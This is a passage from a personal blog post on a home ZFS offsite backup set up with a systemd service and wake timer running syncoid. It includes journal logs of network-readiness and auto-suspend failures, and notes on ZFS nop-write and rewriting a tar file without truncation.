&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~# systemctl cat tank-offsite.&lt;span style="color:#f92672"&gt;{&lt;/span&gt;service,timer&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /etc/systemd/system/tank-offsite.service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Unit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Backup tank to tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Requires&lt;span style="color:#f92672"&gt;=&lt;/span&gt;network-online.target
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;After&lt;span style="color:#f92672"&gt;=&lt;/span&gt;network-online.target
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Service&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;oneshot
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# wait for the network to be usable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStartPre&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sh -c &lt;span style="color:#e6db74"&gt;&amp;#39;until ping -c 1 192.168.1.10; do sleep 1; done&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# do the sync&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStart&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/local/sbin/syncoid --recursive --skip-parent root@192.168.1.10:tank tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# suspend the machine again&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ExecStopPost&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/bin/systemctl suspend
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# /etc/systemd/system/tank-offsite.timer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Unit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Backup tank to tank-offsite on a schedule
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Timer&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OnCalendar&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Mon-Sun 03:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WakeSystem&lt;span style="color:#f92672"&gt;=&lt;/span&gt;true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;Install&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WantedBy&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timers.target
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The only little hack here is the &lt;code&gt;ExecStartPre=&lt;/code&gt; line; my first pass at this didn&amp;rsquo;t include it. I was hoping that &lt;code&gt;After=network-online.target&lt;/code&gt; would be enough to make sure the network stack was up before the &lt;code&gt;syncoid&lt;/code&gt; command would run. Evidently not:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ journalctl -u tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:28 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Starting tank-offsite.service - Backup tank to tank-offsite...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;162504&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: ssh: connect to host 192.168.1.10 port 22: Network is unreachable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;162505&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: ssh: connect to host 192.168.1.10 port 22: Network is unreachable
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;162423&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: CRITICAL ERROR: ssh connection echo test failed &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; root@192.168.1.10 with exit code &lt;span style="color:#ae81ff"&gt;255&lt;/span&gt; at /usr/local/sbin/syncoid line 1714.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Control process exited, code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;exited, status&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1/FAILURE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Failed with result &lt;span style="color:#e6db74"&gt;&amp;#39;exit-code&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 03:00:29 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Failed to start tank-offsite.service - Backup tank to tank-offsite.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;systemd&lt;/code&gt;&amp;rsquo;s docs have &lt;a href="https://systemd.io/NETWORK_ONLINE/#modyfing-the-meaning-of-network-onlinetarget"
target="_blank" rel="noreferrer noopener"
&gt;some discussion of this scenario&lt;/a&gt;. They suggest adding a separate service that runs the same ping check with &lt;code&gt;Before=network-online.target&lt;/code&gt; specified. This means that any services depending on &lt;code&gt;network-online.target&lt;/code&gt; will only start once the ping has been successful. As I only have a single service that cares about this, keeping it all together in the same unit with &lt;code&gt;ExecStartPre=&lt;/code&gt; made sense to me.&lt;/p&gt;
&lt;p&gt;You may have noticed a slight issue with this timer setup: my machine will always suspend after the backup job finishes. This is the desired outcome when the timer has caused the desktop to wake up, but it will probably be quite annoying if I were using the machine at the time. Luckily I&amp;rsquo;m usually fast asleep before 03:00! I couldn&amp;rsquo;t find a neat way of avoiding this.&lt;/p&gt;
&lt;p&gt;One thing that I&amp;rsquo;d still like to get working is ZFS&amp;rsquo;s &lt;a href="https://openzfs.org/wiki/Features#nop-write"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;nop-write&lt;/code&gt;&lt;/a&gt; support.
My use for this is that I have a different daily job that tars up data from my VPS, overwriting a file on disk.
This means that every day I have to sync the full tar file, as from ZFS&amp;rsquo;s perspective it is completely new data, even though there will have been very few changes.
The data in question is only about 1.3 GB &amp;mdash; so it isn&amp;rsquo;t too slow, but if I can avoid having to copy it at all then it would be preferable.
Alternatively, I could just swap to using &lt;code&gt;rsync&lt;/code&gt; for this job, and avoid re-writing the data at all. ZFS&amp;rsquo;s compression should replicate the benefits I was getting from compressing the tar file.&lt;/p&gt;
&lt;h2 id="a-few-days-later"&gt;a few days later&lt;/h2&gt;
&lt;p&gt;Getting &lt;a href="https://openzfs.org/wiki/Features#nop-write"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;nop-write&lt;/code&gt;&lt;/a&gt; working was indeed really just as simple as swapping the dataset checksum setting to &lt;code&gt;sha256&lt;/code&gt; (or you can pick one of &lt;a href="https://openzfs.github.io/openzfs-docs/Basic%20Concepts/Checksums.html#checksum-algorithms"
target="_blank" rel="noreferrer noopener"
&gt;the other options&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ zfs set checksum&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sha256 pool_name/dataset_name
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now even though the job rewrites this large tar file daily, there is nothing for &lt;code&gt;syncoid&lt;/code&gt; to copy over! (well, only 84 KB compared to 1.3 GB)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ journalctl -qu tank-offsite --grep &lt;span style="color:#e6db74"&gt;&amp;#39;tank/backup@&amp;#39;&lt;/span&gt; | tail -n &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# without `nop-write`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt; 03:00:43 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;337636&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup@syncoid_desktop_2024-12-27:23:38:04-GMT00:00 ... syncoid_desktop_2024-12-28:03:00:43-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 1.3 GB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# with `nop-write`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Dec &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt; 13:28:38 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;26300&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup@syncoid_desktop_2024-12-28:13:12:15-GMT00:00 ... syncoid_desktop_2024-12-28:13:28:38-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ &lt;span style="color:#ae81ff"&gt;84&lt;/span&gt; KB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I am now questioning why I didn&amp;rsquo;t use &lt;code&gt;rsync&lt;/code&gt; in the first place, however.
&lt;code&gt;nop-write&lt;/code&gt; saves me from replicating the unchanged overwritten file, by preventing the writes from actually hitting the disk.
It doesn&amp;rsquo;t avoid the whole daily download from the VPS though!
ZFS couldn&amp;rsquo;t possibly know what writes would be no-ops without having the new data to checksum against what is already on disk.&lt;/p&gt;
&lt;p&gt;The only slight gotcha with &lt;code&gt;nop-write&lt;/code&gt; is that you need to make sure that you don&amp;rsquo;t truncate the file you rewrite.
For example something like this won&amp;rsquo;t work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ssh $VPS_HOSTNAME &lt;span style="color:#e6db74"&gt;&amp;#39;tar -cf - /var/www/&amp;#39;&lt;/span&gt; &amp;gt; var-www.tar
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you do this, then the shell first truncates the file before writing the new data.
There is probably a clever bash way of avoiding the truncation, but using &lt;code&gt;dd&lt;/code&gt; with the &lt;code&gt;conv=notrunc&lt;/code&gt; option is a bit more self documenting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ssh $VPS_HOSTNAME &lt;span style="color:#e6db74"&gt;&amp;#39;tar -cf - /var/www/&amp;#39;&lt;/span&gt; | dd of&lt;span style="color:#f92672"&gt;=&lt;/span&gt;var-www.tar conv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;notrunc bs&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1M
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although &lt;code&gt;nop-write&lt;/code&gt; sounds very compelling at first &amp;ndash; it is actually fairly niche. Most of the time it is possible (and more efficient) to avoid rewriting unchanged data!&lt;/p&gt;
&lt;h2 id="a-few-weeks-later"&gt;a few weeks later&lt;/h2&gt;
&lt;p&gt;At some point I decided to enable some power management settings on my desktop.
Usually, my desktop is suspended. However, sometimes one of my meddling cats will step on the keyboard, waking it up, so it is handy if the machine automatically suspends after being idle for some amount of time.
Auto-suspend however created a bit of headache for this backup job:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:44 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Starting tank-offsite.service - Backup tank to tank-offsite...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: PING 192.168.1.10 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;192.168.1.10&lt;span style="color:#f92672"&gt;)&lt;/span&gt; 56&lt;span style="color:#f92672"&gt;(&lt;/span&gt;84&lt;span style="color:#f92672"&gt;)&lt;/span&gt; bytes of data.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; bytes from 192.168.1.10: icmp_seq&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; ttl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt; time&lt;span style="color:#f92672"&gt;=&lt;/span&gt;12.8 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: --- 192.168.1.10 ping statistics ---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; packets transmitted, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; received, 0% packet loss, time 0ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:55 desktop sh&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296224&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: rtt min/avg/max/mdev &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 12.842/12.842/12.842/0.000 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:00:56 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup@syncoid_desktop_2025-01-09:03:00:51-GMT00:00 ... syncoid_desktop_2025-01-10:03:00:56-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 3.2 MB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:01:11 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/email@syncoid_desktop_2025-01-09:03:01:11-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:11-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 1.5 MB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:01:13 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/lxc@syncoid_desktop_2025-01-09:03:01:13-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:13-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; KB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:01:14 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/pbs@syncoid_desktop_2025-01-09:03:01:13-GMT00:00 ... syncoid_desktop_2025-01-10:03:01:14-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 1.0 GB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 08:52:35 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296484&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: cannot receive incremental stream: dataset is busy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:53 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296488&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: lzop: Broken pipe: &amp;lt;stdout&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:53 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: CRITICAL ERROR: ssh -S /tmp/syncoid-root@192.168.1.10-1736478055-2255 root@192.168.1.10 &lt;span style="color:#e6db74"&gt;&amp;#39; zfs send -I &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;tank/backup/pbs&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;@&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;syncoid_desktop_2025-01-09:03:01:13-G&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:55 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/backup/veeam@syncoid_desktop_2025-01-09:03:15:13-GMT00:00 ... syncoid_desktop_2025-01-10:19:29:55-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; KB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:29:59 desktop syncoid&lt;span style="color:#f92672"&gt;[&lt;/span&gt;296226&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Sending incremental tank/data@syncoid_desktop_2025-01-09:05:52:20-GMT00:00 ... syncoid_desktop_2025-01-10:19:29:58-GMT00:00 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;~ 35.8 MB&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Main process exited, code&lt;span style="color:#f92672"&gt;=&lt;/span&gt;exited, status&lt;span style="color:#f92672"&gt;=&lt;/span&gt;2/INVALIDARGUMENT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Failed with result &lt;span style="color:#e6db74"&gt;&amp;#39;exit-code&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Failed to start tank-offsite.service - Backup tank to tank-offsite.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 19:30:39 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: tank-offsite.service: Consumed 31.336s CPU time, 43.7M memory peak.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It wasn&amp;rsquo;t immediately clear what was going wrong to me, as I&amp;rsquo;d completely forgotten that auto-suspend was enabled.
What made it more obvious was this other journal entry:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop systemd-logind&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1367&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: The system will suspend now!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop ModemManager&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1645&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &amp;lt;msg&amp;gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;sleep-monitor-systemd&lt;span style="color:#f92672"&gt;]&lt;/span&gt; system is about to suspend
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop NetworkManager&lt;span style="color:#f92672"&gt;[&lt;/span&gt;2071&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &amp;lt;info&amp;gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;1736478940.0158&lt;span style="color:#f92672"&gt;]&lt;/span&gt; manager: sleep: sleep requested &lt;span style="color:#f92672"&gt;(&lt;/span&gt;sleeping: no enabled: yes&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop NetworkManager&lt;span style="color:#f92672"&gt;[&lt;/span&gt;2071&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: &amp;lt;info&amp;gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;1736478940.0163&lt;span style="color:#f92672"&gt;]&lt;/span&gt; manager: NetworkManager state is now ASLEEP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Jan &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 03:15:40 desktop systemd&lt;span style="color:#f92672"&gt;[&lt;/span&gt;1&lt;span style="color:#f92672"&gt;]&lt;/span&gt;: Reached target sleep.target - Sleep.
